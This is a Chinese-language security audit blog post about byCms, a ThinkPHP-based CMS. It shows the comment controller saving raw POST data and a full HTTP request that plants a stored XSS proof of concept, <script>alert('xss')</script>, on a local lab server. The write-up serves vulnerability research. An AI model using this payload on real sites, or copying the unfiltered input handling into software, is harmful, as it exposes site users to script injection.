标签:ror length cti 管理系统 api url for error 远程
0x00 前言:
首页本地搭建环境,我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。
0x01 CMS简介:
byCms是一套简单,易用的内容管理系统,基于thinkphp5.0.9,包含文章,图片,下载,视频模型,旨在帮助开发者节约web应用后台开发时间和精力,以最快的速度开发出高质量的web应用。包含pc端,手机端,微信端,安卓app,苹果app,多端数据同步!
主要特性:基于tp5.0.9,可无缝升级之5.0.10,遵循PSR-2、PSR-4规范,Composer及单元测试,异常严谨的错误检测和安全机制,详细的日志信息,为你的开发保驾护航;减少核心依赖,扩展更灵活、方便,支持命令行指令扩展;出色的性能和REST支持、远程调试,更好的支持API开发;惰性加载,及路由、配置和自动加载的缓存机制;重构的数据库、模型及关联。
0x02 正文:
首先来看看目录结构。
1 <?php 2 namespace app\index\controller; 3 use think\Controller; 4 use think\Db; 5 class Comment extends Home{ 6 7 8 public function add($id=""){ 9 if(!is_login()){ 10 $this->error("请先登录"); 11 } 12 $id=input(‘doc_id‘); 13 if(!($id && is_numeric($id))){ 14 $this->error(‘ID错误!‘); 15 }else{ 16 $where["id"]=$id; 17 } 18 $info= Db::name(‘document‘)->where($where)->find(); 19 if(!$info){ 20 $this->error(‘文章不存在!‘); 21 } 22 if($_POST){ 23 $Comment = new \app\index\model\Comment; 24 $res=$Comment->validate(true)->allowField(true)->save($_POST); 25 if($res){ 26 Db::name(‘document‘)->where($where)->setInc("comments"); 27 $this->success("发布成功!"); 28 }else{ 29 $error=$Comment->getError()?$Comment->getError():"发布失败!"; 30 $this->error($error); 31 } 32 } 33 }
POST /shenji/bycms/index.php/index/comment/add.html HTTP/1.1
Host: 192.168.1.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.111/shenji/bycms/index.php/index/article/detail/id/93.html
Content-Length: 57
Cookie: PHPSESSID=j6cht7fitg6l4eoajtscmvth56
Connection: close
doc_id=93&content=<script>alert(‘xss‘)</script>
PS:本着交流分享。如果有好的方法或者思路以及上文讲述不正确的地方欢迎指出。谢谢!(大牛勿喷!!)
标签:ror length cti 管理系统 api url for error 远程
原文地址:http://www.cnblogs.com/poacher/p/7397443.html